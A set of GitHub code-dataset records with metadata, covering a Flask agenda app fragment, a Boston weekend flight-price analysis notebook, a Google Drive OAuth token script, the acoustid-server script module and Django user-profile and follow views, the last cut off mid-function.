debug=True)", "repo_name": "cristianruiz2023/agenda_flask", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1260, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "flask_mysqldb.MySQL", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "2516992655", "text": "\n# coding: utf-8\n\n# # Cost analysis on weekend trips to major US cities from Boston\n\n# In[1]:\n\nimport requests\nimport json\nimport os\nimport glob\nfrom os.path import basename\nfrom os.path import splitext\nimport datetime\nimport calendar\nimport pandas as pd\n\nimport plotly\nplotly.offline.init_notebook_mode()\n\nimport plotly.offline as offline\nimport plotly.graph_objs as go\n\napi_key = \"apiKey=\" + os.getenv(\"sky_api_key\")\n\n\n# - Read BostonFlightsData to get all the flights that start from Boston to any location in United States.\n\n# In[2]:\n\nflights = pd.read_csv('../Output/BostonFlightsData.csv', low_memory=False)\n\n\n# - SkyScanner API to get the Quote on Prices in USD for a particular route\n\n# In[3]:\n\nsky_domain = 'http://partners.api.skyscanner.net/apiservices/browsequotes/v1.0/US/USD/en-US/'\nsky_api_key = api_key\ndef geturl(source, dest, outb_date=\"__\", inb_date=\"__\"): \n return sky_domain + source + \"/\" + dest + \"/\" + outb_date + \"/\" + inb_date + \"?\" + sky_api_key \n\nflights['URL'] = flights.apply(lambda x: geturl(x.Source_Airport, x.Destination_Airport) , axis=1)\n\n\n# - This script will give Start and End date for the quote prices we are interestd in\n# - It will calulate date after 6 months from start date\n# - Start day needs to be a Friday, because we are planning weekend trips where we start on Friday and Return on Sunday\n\n# In[4]:\n\n# Add given months to source date\ndef add_months(sourcedate,months):\n month = sourcedate.month - 1 + months\n year = int(sourcedate.year + month / 12 )\n month = month % 12 + 1\n day = min(sourcedate.day, calendar.monthrange(year,month)[1])\n return datetime.date(year,month,day)\n\n# Start day needs to be a Friday, Check if it is a friday or not or get next Friday\nd = datetime.date.today()\nwhile d.weekday() != 4:\n d += datetime.timedelta(1)\n\nstart_date = d\nend_date = add_months(start_date, 6)\n\n\n# - Get all weekend dates for Departure and Return dates\n\n# In[5]:\n\ndepart_dates = []\nreturn_dates = []\ndelta = datetime.timedelta(days=1)\nd = start_date\nweekend = set([4, 6])\n\n#Create arrays dates having of Start day and Return day\nwhile d <= end_date:\n if d.weekday() == 4:\n depart_dates.append(d)\n elif d.weekday() == 6:\n return_dates.append(d)\n d += delta\n\n\n# In[6]:\n\ndef createdir(path): # Function to create directory if it does not exist already\n try:\n if not os.path.exists(path):\n os.makedirs(path)\n return True\n except OSError as exception:\n return False\n\n\ndownload_dir = \"../Output/QuotesData_\" + datetime.date.today().strftime(\"%Y_%m_%W\") + \"/\" \n\n\ndef checkofflinedata():\n if os.path.exists(download_dir):\n return True\n else:\n return False\n\n\n# - This will check if the Quotes data is already present for that week or not\n# - In the Free version signup with Sky scanner API we are anyway hitting cached prices which will be a week old. So there is no point in getting new data daily. I am querying for new data weekly.\n\n# In[7]:\n\ndef DownloadData():\n if (checkofflinedata() == False):\n createdir(download_dir)\n for _, rows in flights.iterrows(): \n outdir = download_dir + rows.Source_Airport + \"_\" + rows.Destination_Airport\n createdir(outdir)\n for dep, arr in zip(depart_dates, return_dates):\n url = geturl(rows.Source_Airport, rows.Destination_Airport, dep.strftime(\"%Y-%m-%d\"), arr.strftime(\"%Y-%m-%d\"))\n response = requests.get(url)\n if response.status_code is 200:\n outputdir = outdir + \"/\" + str(dep.year) + \"/\" + str(dep.month)\n createdir(outputdir)\n try:\n with open(outputdir + \"/\" + str(dep.isocalendar()[1]) + \".json\", \"w\") as jsonfile:\n json.dump(response.json(), jsonfile, indent=4, sort_keys=True)\n except:\n print(\"Failed in dumping {0}\".format(outputdir + \"/\" + str(dep.isocalendar()[1]) + \".json\"))\n else:\n print(\"Are you online? If yes, then your url seems to be fuzzy or skyscanner went down under.\")\nDownloadData()\n\n\n# - This part will read all the download data and create a new Quotes Dataframe having prices for each route\n\n# In[8]:\n\nquotes_df = pd.DataFrame()\nfor _, rows in flights.iterrows():\n outdir = download_dir + rows.Source_Airport + \"_\" + rows.Destination_Airport\n weeks = []\n avg_price = []\n d = start_date\n while d <= end_date:\n outputdir = outdir + \"/\" + str(d.year) + \"/\" + str(d.month)\n if os.path.exists(outputdir):\n json_files = glob.glob(outputdir + '/*.json')\n if json_files is not None:\n for i in range(len(json_files)):\n min_price = 0\n cnt = cnt_d = cnt_r = 0\n dep_price = ret_price = 0\n with open(json_files[i]) as datafile:\n quote_data = json.load(datafile)\n for x in range(0, len(quote_data[\"Quotes\"])):\n json_data = quote_data[\"Quotes\"][x]\n try :\n if \"OutboundLeg\" in json_data and \"InboundLeg\" in json_data: \n if json_data[\"OutboundLeg\"] and json_data[\"InboundLeg\"] is not None: \n min_price += json_data[\"MinPrice\"]\n cnt += 1\n continue;\n if \"OutboundLeg\" in json_data:\n if json_data[\"OutboundLeg\"] is not None:\n dep_price += json_data[\"MinPrice\"]\n cnt_d += 1\n if \"InboundLeg\" in json_data:\n if json_data[\"InboundLeg\"] is not None:\n ret_price += json_data[\"MinPrice\"]\n cnt_r += 1\n \n except:\n print(json_files[i])\n \n base = basename(json_files[i])\n weeks.append(str(d.year)+ '-' +splitext(base)[0])\n if cnt_d > 0 and cnt_r > 0 and cnt_d == cnt_r:\n min_price += (dep_price/cnt_d) + (ret_price/cnt_r)\n cnt += ((cnt_d + cnt_r)/ 2)\n if cnt != 0:\n avg_price.append((min_price/cnt))\n else:\n avg_price.append(0)\n \n d += datetime.timedelta(days=31)\n \n df = pd.DataFrame({\"Weekend_Date\" : weeks, \"Average_Price\" : avg_price, \"Source\" : rows.Source_Airport,\n \"Destination\" : rows.Destination_Airport})\n quotes_df = quotes_df.append(df)\n\n\n# In[9]:\n\nquotes_df.to_csv(\"../Output/QuotesOnUSDestinations.csv\", index=False)\nquotes_df.head()\n\n\n# - Now we can plot this Data from Boston to Top US cities\n# - Get data from Boston to Denver and plot\n\n# In[10]:\n\nbos_den = quotes_df[quotes_df['Destination'] == 'DEN']\nbos_den['Weekend_Date'] = bos_den.apply(lambda x: datetime.datetime.strptime(x.Weekend_Date + '-0', \"%Y-%W-%w\"), axis=1)\nbos_den['Average_Price'] = bos_den.apply(lambda x: bos_den['Average_Price'].mean() \n if x.Average_Price == 0 else x.Average_Price, axis=1)\n\n\n# - Get data from Boston to Las Vegas and plot\n\n# In[11]:\n\nbos_lax = quotes_df[quotes_df['Destination'] == 'LAX']\nbos_lax['Weekend_Date'] = bos_lax.apply(lambda x: datetime.datetime.strptime(x.Weekend_Date + '-0', \"%Y-%W-%w\"), axis=1)\nbos_lax['Average_Price'] = bos_lax.apply(lambda x: bos_lax['Average_Price'].mean() \n if x.Average_Price == 0 else x.Average_Price, axis=1)\n\n\n# - Get data from Boston to San Francisco and plot\n\n# In[12]:\n\nbos_sfo = quotes_df[quotes_df['Destination'] == 'SFO']\nbos_sfo['Weekend_Date'] = bos_sfo.apply(lambda x: datetime.datetime.strptime(x.Weekend_Date + '-0', \"%Y-%W-%w\"), axis=1)\nbos_sfo['Average_Price'] = bos_sfo.apply(lambda x: bos_sfo['Average_Price'].mean() \n if x.Average_Price == 0 else x.Average_Price, axis=1)\n\n\n# Get data from Boston to Houston and plot\n\n# In[13]:\n\nbos_iah = quotes_df[quotes_df['Destination'] == 'IAH']\nbos_iah['Weekend_Date'] = bos_iah.apply(lambda x: datetime.datetime.strptime(x.Weekend_Date + '-0', \"%Y-%W-%w\"), axis=1)\nbos_iah['Average_Price'] = bos_iah.apply(lambda x: bos_iah['Average_Price'].mean() \n if x.Average_Price == 0 else x.Average_Price, axis=1)\n\n\n# - Get data from Boston to Phoenix and plot\n\n# In[14]:\n\nbos_phx = quotes_df[quotes_df['Destination'] == 'PHX']\nbos_phx['Weekend_Date'] = bos_phx.apply(lambda x: datetime.datetime.strptime(x.Weekend_Date + '-0', \"%Y-%W-%w\"), axis=1)\nbos_phx['Average_Price'] = bos_phx.apply(lambda x: bos_phx['Average_Price'].mean() \n if x.Average_Price == 0 else x.Average_Price, axis=1)\n\n\n# - Plotting all trip prices from Boston to Major US cities and observe the prices\n\n# In[15]:\n\ndata = [\n go.Scatter(\n x = bos_den.Weekend_Date,\n y = bos_den.Average_Price,\n name = 'Denver'\n ),\n go.Scatter(\n x = bos_lax.Weekend_Date,\n y = bos_lax.Average_Price,\n name = 'Los Angeles'\n ),\n go.Scatter(\n x = bos_sfo.Weekend_Date,\n y = bos_sfo.Average_Price,\n name = 'San Francisco'\n ),\n go.Scatter(\n x = bos_iah.Weekend_Date,\n y = bos_iah.Average_Price,\n name = 'Houston'\n ),\n go.Scatter(\n x = bos_phx.Weekend_Date,\n y = bos_phx.Average_Price,\n name = 'Phoenix'\n )]\n\nlayout = go.Layout( \n title=\"Weekend Return Trip Prices for major US cities from Boston\", \n xaxis=dict( \n title=\"Weekend dates\" \n ),\n yaxis= dict(\n title=\"Return Ticket price in USD\"\n ),\n)\n\nfigure = go.Figure(data=data, layout=layout)\n\noffline.iplot(figure, filename='Weekend Return Trip Prices for major US cities from Boston')\n\n\n# - From this graph I can plan my weekend trips to each of these cities and save on cost.\n# - For instance I will plan my trip to Denver before 28 May 2017 to be able to save on the high prices at any later date.\n# - Similarly for San Francisco 11 June 2017 is the cheapest date to travel.\n\n# In[ ]:\n\n\n\n", "repo_name": "sumitpdeshmukh/DataAnalysisWithPython", "sub_path": "Final/Extras/PyFiles/Analysis+3.py", "file_name": "Analysis+3.py", "file_ext": "py", "file_size_in_byte": 10805, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "plotly.offline.init_notebook_mode", "line_number": 19, "usage_type": "call"}, {"api_name": "plotly.offline", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 31, "usage_type": "call"}, {"api_name": "calendar.monthrange", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 61, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 61, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 63, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 93, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 99, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 122, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 128, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 149, "usage_type": "call"}, {"api_name": "json.load", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 177, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 178, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 187, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 189, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 206, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 206, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 216, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 216, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 226, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 226, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 236, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 236, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 246, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 246, "usage_type": "attribute"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 256, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 256, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 261, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 261, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 266, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 266, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 271, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 271, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 276, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 276, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Layout", "line_number": 282, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 282, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Figure", "line_number": 292, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 292, "usage_type": "name"}, {"api_name": "plotly.offline.iplot", "line_number": 294, "usage_type": "call"}, {"api_name": "plotly.offline", "line_number": 294, "usage_type": "name"}]} +{"seq_id": "1421702660", "text": "from google.oauth2.credentials import Credentials\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\n\n# NOTE If scopes are modified you need to delete the file token.json\nSCOPES = ['https://www.googleapis.com/auth/drive.file']\n\ndef genTokenFromCreds(creds=None):\n # If there are no (valid) credentials available, let the user log in\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file('credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n\n # Save the credentials for the next run\n with open('token.json','w') as token:\n token.write(creds.to_json())\n return creds\n\n\nif __name__ == \"__main__\":\n genTokenFromCreds()", "repo_name": "JacquesMironneau/Portfolio", "sub_path": "gendrivetoken.py", "file_name": "gendrivetoken.py", "file_ext": "py", "file_size_in_byte": 883, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "google.auth.transport.requests.Request", "line_number": 12, "usage_type": "call"}, {"api_name": "google_auth_oauthlib.flow.InstalledAppFlow.from_client_secrets_file", "line_number": 14, "usage_type": "call"}, {"api_name": "google_auth_oauthlib.flow.InstalledAppFlow", "line_number": 14, "usage_type": "name"}]} +{"seq_id": "40855031458", "text": "import logging\nimport sys\nfrom optparse import OptionParser\nfrom typing import Any, Optional\n\nimport sentry_sdk\nfrom redis import Redis\nfrom redis.sentinel import Sentinel as RedisSentinel\nfrom statsd import StatsClient\n\nfrom acoustid._release import GIT_RELEASE\nfrom acoustid.config import Config\nfrom acoustid.db import DatabaseContext\nfrom acoustid.indexclient import IndexClientPool\nfrom acoustid.utils import LocalSysLogHandler\n\nlogger = logging.getLogger(__name__)\n\n\nclass ScriptContext(object):\n def __init__(self, config, db, redis, index, statsd):\n # type: (Config, DatabaseContext, Redis, IndexClientPool, Optional[StatsClient]) -> None\n self.config = config\n self.db = db\n self.redis = redis\n self.index = index\n self.statsd = statsd\n\n def __enter__(self):\n # type: () -> ScriptContext\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n # type: (Any, Any, Any) -> None\n self.db.close()\n\n\nclass Script(object):\n def __init__(self, config_path, tests=False):\n # type: (str, bool) -> None\n self.config = Config()\n if config_path:\n self.config.read(config_path)\n self.config.read_env(tests=tests)\n\n self.db_engines = self.config.databases.create_engines()\n\n if self.config.statsd.enabled:\n self.statsd = StatsClient(\n host=self.config.statsd.host,\n port=self.config.statsd.port,\n prefix=self.config.statsd.prefix,\n )\n else:\n self.statsd = None\n\n self.index = IndexClientPool(\n host=self.config.index.host, port=self.config.index.port, recycle=60\n )\n\n self.redis = None\n self.redis_sentinel = None\n\n if self.config.redis.sentinel:\n self.redis_sentinel = RedisSentinel(\n [(self.config.redis.host, self.config.redis.port)],\n password=self.config.redis.password,\n )\n else:\n self.redis = Redis(\n host=self.config.redis.host,\n port=self.config.redis.port,\n password=self.config.redis.password,\n )\n\n self._console_logging_configured = False\n if not tests:\n self.setup_logging()\n\n def get_redis(self) -> Redis:\n if self.config.redis.sentinel:\n assert self.redis_sentinel is not None\n return self.redis_sentinel.master_for(self.config.redis.cluster)\n else:\n assert self.redis is not None\n return self.redis\n\n def setup_logging(self):\n # type: () -> None\n for logger_name, level in sorted(self.config.logging.levels.items()):\n logging.getLogger(logger_name).setLevel(level)\n if self.config.logging.syslog:\n handler = LocalSysLogHandler(\n ident=\"acoustid\",\n facility=self.config.logging.syslog_facility,\n log_pid=True,\n )\n handler.setFormatter(logging.Formatter(\"%(name)s: %(message)s\"))\n logging.getLogger().addHandler(handler)\n else:\n self.setup_console_logging()\n\n def setup_console_logging(self, quiet=False, verbose=False):\n # type: (bool, bool) -> None\n if self._console_logging_configured:\n return\n handler = logging.StreamHandler()\n handler.setFormatter(\n logging.Formatter(\n \"[%(asctime)s] [%(process)s] [%(levelname)s] %(message)s\",\n \"%Y-%m-%d %H:%M:%S %z\",\n )\n )\n if verbose:\n handler.setLevel(logging.DEBUG)\n if quiet:\n handler.setLevel(logging.ERROR)\n logging.getLogger().addHandler(handler)\n self._console_logging_configured = True\n\n def setup_sentry(self):\n # type: () -> None\n sentry_sdk.init(\n self.config.sentry.script_dsn, release=GIT_RELEASE, sample_rate=0.01\n )\n\n def context(self, use_two_phase_commit=None):\n # type: (Optional[bool]) -> ScriptContext\n db = DatabaseContext(self, use_two_phase_commit=use_two_phase_commit)\n redis = self.get_redis()\n return ScriptContext(\n config=self.config, db=db, redis=redis, index=self.index, statsd=self.statsd\n )\n\n\ndef run_script(func, option_cb=None, master_only=False):\n parser = OptionParser()\n parser.add_option(\n \"-c\", \"--config\", dest=\"config\", help=\"configuration file\", metavar=\"FILE\"\n )\n parser.add_option(\n \"-q\",\n \"--quiet\",\n dest=\"quiet\",\n action=\"store_true\",\n default=False,\n help=\"don't print info messages to stdout\",\n )\n if option_cb is not None:\n option_cb(parser)\n (options, args) = parser.parse_args()\n if not options.config:\n parser.error(\"no configuration file\")\n script = Script(options.config)\n script.setup_console_logging(options.quiet)\n script.setup_sentry()\n if master_only and script.config.cluster.role != \"master\":\n logger.debug(\"Not running script %s on a slave server\", sys.argv[0])\n else:\n logger.debug(\"Running script %s\", sys.argv[0])\n try:\n func(script, options, args)\n except Exception:\n logger.exception(\"Script finished %s with an exception\", sys.argv[0])\n raise\n else:\n logger.debug(\"Script finished %s successfuly\", sys.argv[0])\n\n for engine in script.db_engines.values():\n engine.dispose()\n\n script.index.dispose()\n", "repo_name": "acoustid/acoustid-server", "sub_path": "acoustid/script.py", "file_name": "script.py", "file_ext": "py", "file_size_in_byte": 5576, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 62, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "acoustid.config.Config", "line_number": 41, "usage_type": "call"}, {"api_name": "statsd.StatsClient", "line_number": 49, "usage_type": "call"}, {"api_name": "acoustid.indexclient.IndexClientPool", "line_number": 57, "usage_type": "call"}, {"api_name": "redis.sentinel.Sentinel", "line_number": 65, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 70, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 80, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 91, "usage_type": "call"}, {"api_name": "acoustid.utils.LocalSysLogHandler", "line_number": 93, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 98, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 99, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 107, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 109, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 115, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 117, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 118, "usage_type": "call"}, {"api_name": "sentry_sdk.init", "line_number": 123, "usage_type": "call"}, {"api_name": "acoustid._release.GIT_RELEASE", "line_number": 124, "usage_type": "name"}, {"api_name": "acoustid.db.DatabaseContext", "line_number": 129, "usage_type": "call"}, {"api_name": "optparse.OptionParser", "line_number": 137, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 158, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 160, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 164, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 167, "usage_type": "attribute"}]} +{"seq_id": "27382365516", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom django.contrib.auth.models import User\nfrom django.contrib import auth\nfrom models import User_C\nfrom models import basicProf, statusFlag, Following, Followed\nfrom School.models import School\nfrom .forms import uploadPhotoForm\nimport json\n\nfrom django.views.decorators.csrf import csrf_exempt \n\n@csrf_exempt\ndef createNewUser(request):\n un = request.POST['un']\n pw = request.POST['pw']\n nick = request.POST['nickname']\n\n # create user\n try:\n u = User.objects.create_user(username=un, password=pw)\n u.save\n except:\n return HttpResponse('error 00001 username existed')\n\n\n #create basic information\n bp = basicProf(BP_nickname=nick)\n bp.save()\n\n new_user = User_C()\n new_user.user = u\n new_user.profile = bp\n new_user.email = un\n new_user.save()\n login = auth.authenticate(username=un, password=pw)\n auth.login(request,login)\n return HttpResponseRedirect('/index/')\n\n\n@csrf_exempt\ndef confirmUser(request):\n un = request.POST['un']\n pw = request.POST['pw']\n user = auth.authenticate(username=un, password=pw)\n if user:\n auth.login(request, user)\n #return render(request, 'index/index.html')\n return HttpResponseRedirect('/index/')\n else:\n return HttpResponse('error 00002 failed to login')\n\ndef getSelfInfo(request):\n user = request.user\n for u in User_C.objects.all():\n if u.user.username == user.username:\n url = ''\n try:\n url = u.profile.BP_photo.url\n except:\n url = ''\n tem = {\n 'id':u.id,\n 'name':u.profile.BP_nickname,\n 'photo_url':url,\n 'code':u.school.s_code,\n }\n return HttpResponse(json.dumps(tem))\n\ndef getUserInfo(request):\n u_id = request.GET['u_id']\n u = User_C.objects.get(id=u_id)\n\n \n url = ''\n school = ''\n try:\n url = u.profile.BP_photo.url\n except:\n url = '/media/html_image/index/_profile_face.jpg'\n try:\n school = u.school.s_code\n except:\n school = ''\n result = {\n 'name': u.profile.BP_nickname,\n 'photo_url': url,\n 'code': school,\n }\n try:\n return HttpResponse(json.dumps(result))\n except:\n return HttpResponse(user.username)\n\ndef getUserAllInfo(request):\n id = request.GET['id']\n user = User_C.objects.get(id=id)\n #judge this is the page owner or other user\n u = request.user\n self_page = 0\n create_club = 0\n if user.user.username == u.username:\n self_page = 1\n if user.school:\n create_club = 1\n else:\n self_page = 0\n\n #basic information\n profile = user.profile\n try:\n school = user.school.s_code\n except:\n school = ''\n result = {\n 'self':self_page,\n 'name': profile.BP_name,\n 'nickname': profile.BP_nickname,\n 'sex': profile.BP_sex,\n 'sign': profile.BP_sign,\n 'home': profile.BP_home,\n 'schoolpro': profile.BP_location,\n 'birthday': profile.BP_birthday,\n 'code': school,\n 'entrance': profile.BP_entrance,\n 'major': profile.BP_major,\n 'interest': profile.BP_interest,\n 'qq': user.qq,\n 'tel': user.tel,\n 'email': user.email,\n 'weibo':user.weibo,\n 'wechat':user.wechat,\n 'following':len(user.followingTable.all()),\n 'followed':len(user.followedTable.all()),\n 'create_club':create_club,\n }\n return HttpResponse(json.dumps(result))\n\n@csrf_exempt\ndef updateUserInfo(request):\n #required\n id = request.POST['id']\n code = request.POST['code']\n #opinion\n try:\n name = request.POST['name']\n except:\n name = \"\"\n try:\n nickname = request.POST['nickname']\n except:\n nickname = \"\"\n try:\n sex = request.POST['sex']\n except:\n sex = \"\"\n try:\n sign = request.POST['sign']\n except:\n sign = \"\"\n try:\n birth_y = request.POST['year']\n birth_m = request.POST['month']\n birth_d = request.POST['day']\n birthday = birth_y+'/'+birth_m+'/'+birth_d\n except:\n birthday = \"\"\n try:\n entrance = request.POST['entrance']\n except:\n entrance = \"\"\n try:\n interest = request.POST['interest']\n except:\n interest = \"\"\n try:\n qq = request.POST['qq']\n except:\n qq = \"\"\n try:\n tel = request.POST['tel']\n except:\n tel = \"\"\n try:\n weibo = request.POST['weibo']\n except:\n weibo = \"\"\n try:\n wechat = request.POST['wechat']\n except:\n wechat = \"\"\n try:\n location = request.POST['schoolpro']\n except:\n location = \"\"\n #address\n try:\n homepro = request.POST['province']\n homecity = request.POST['city']\n home = homepro+'-'+homecity\n except:\n home = \"\"\n\n if entrance:\n entrance = entrance\n else:\n entrance = \"\"\n\n user = User_C.objects.get(id=id)\n profile = user.profile\n profile.BP_name = name\n profile.BP_nickname = nickname\n profile.BP_sex = sex\n profile.BP_sign = sign\n profile.BP_home = home\n profile.BP_birthday = birthday\n profile.BP_entrance = entrance\n profile.BP_interest = interest\n profile.BP_location = location\n try:\n form = uploadPhotoForm(request.POST, request.FILES)\n if form.is_valid():\n profile.BP_photo = request.FILES['photo']\n profile.save()\n except:\n profile.save()\n\n #school\n for s in School.objects.all():\n if code == s.s_code:\n user.school = s\n\n user.qq = qq\n user.tel = tel\n user.weibo = weibo\n user.wechat = wechat\n user.save()\n\n return HttpResponse('1')\n\n@csrf_exempt\ndef changeUserPhoto(request):\n id = request.POST['id']\n user = User_C.objects.get(id=id)\n form = uploadPhotoForm(request.POST, request.FILES)\n if form.is_valid():\n user.profile.BP_photo = request.FILES['photo']\n user.profile.save()\n return HttpResponse('1')\n else:\n return HttpResponse('0')\n\ndef userFollowUser(request):\n user = request.user\n\n for u in User_C.objects.all():\n if u.user.username == user.username:\n u_id = u.id\n\n f_id = request.GET['f_id']\n user = User_C.objects.get(id=u_id)\n f_user = User_C.objects.get(id=f_id)\n\n user.followingTable.create(followingID=f_id)\n f_user.followedTable.create(followedID=u_id)\n\n return HttpResponse('1')\n\n\ndef userUnfollowUser(request):\n user = request.user\n\n for u in User_C.objects.all():\n if u.user.username == user.username:\n u_id = u.id\n\n f_id = request.GET['f_id']\n user = User_C.objects.get(id=u_id)\n f_user = User_C.objects.get(id=f_id)\n\n for fing in user.followingTable.all():\n if fing.followingID == f_user.id:\n fing.delete()\n break\n\n for fed in f_user.followedTable.all():\n if fed.followedID == user.id:\n fed.delete()\n break\n\n return HttpResponse('1')\n\n\ndef showUserFollowingList(request):\n u_id = request.GET['u_id']\n user = User_C.objects.get(id=u_id)\n\n result = []\n for f in user.followingTable.all():\n user = User_C.objects.get(id=f.followingID)\n url = ''\n try:\n url = user.profile.BP_photo.url\n except:\n url = '/media/html_image/index/_profile_face.jpg'\n tem = {\n \"user_id\": f.followingID,\n \"user_name\": user.profile.BP_name,\n \"user_nick\": user.profile.BP_nickname,\n \"user_photo\": url,\n }\n result = result + [tem]\n\n return HttpResponse(json.dumps(result))\n\n\ndef showUserFollowedList(request):\n u_id = request.GET['u_id']\n user = User_C.objects.get(id=u_id)\n\n result = []\n for f in user.followedTable.all():\n user = User_C.objects.get(id=f.followedID)\n url = ''\n try:\n url = user.profile.BP_photo.url\n except:\n url = '/media/html_image/index/_profile_face.jpg'\n tem = {\n \"user_id\": f.followedID,\n \"user_name\": user.profile.BP_name,\n \"user_nick\": user.profile.BP_nickname,\n \"user_photo\": url,\n }\n result = result + [tem]\n\n return HttpResponse(json.dumps(result))\n\ndef showUserInSchool(request):\n code = request.GET['code']\n for s in School.objects.all():\n if s.s_code == code:\n result = []\n for u in s.user_c_set.all():\n tem = {\n \"user_id\":u.id,\n \"user_name\":u.profile.BP_name,\n \"user_nick\":u.profile.BP_nickname,\n \"user_photo\":u.profile.BP_photo.url,\n }\n result = result + [tem]\n return HttpResponse(json.dumps(result))\n return HttpResponse('0')\n\ndef showUserComment(request):\n id = request.GET['id']\n user = User_C.objects.get(id=id)\n comment = []\n for c in user.cmtuser_set.all():\n reply = []\n url = ''\n try:\n url = r.CR_send.profile.BP_photo.url\n except:\n url = '/media/html_image/index/_profile_face.jpg'\n for r in c.replyuser_set.all():\n tem = {\n \"c_id\":c.id,\n \"r_id\":r.id,\n \"nickname\":r.CR_send.profile.BP_nickname,\n \"reply_photo\":url,\n \"time\":r.CR_time,\n \"content\":r.CR_content,\n }\n reply = reply + [tem]\n comment = comment + [reply]\n try:\n url = user.profile.BP_photo.url\n except:\n url = '/media/html_image/index/_profile_face.jpg'\n result = {\n \"comment\":comment,\n \"main_id\":id,\n \"comment_photo\":url,\n }\n return 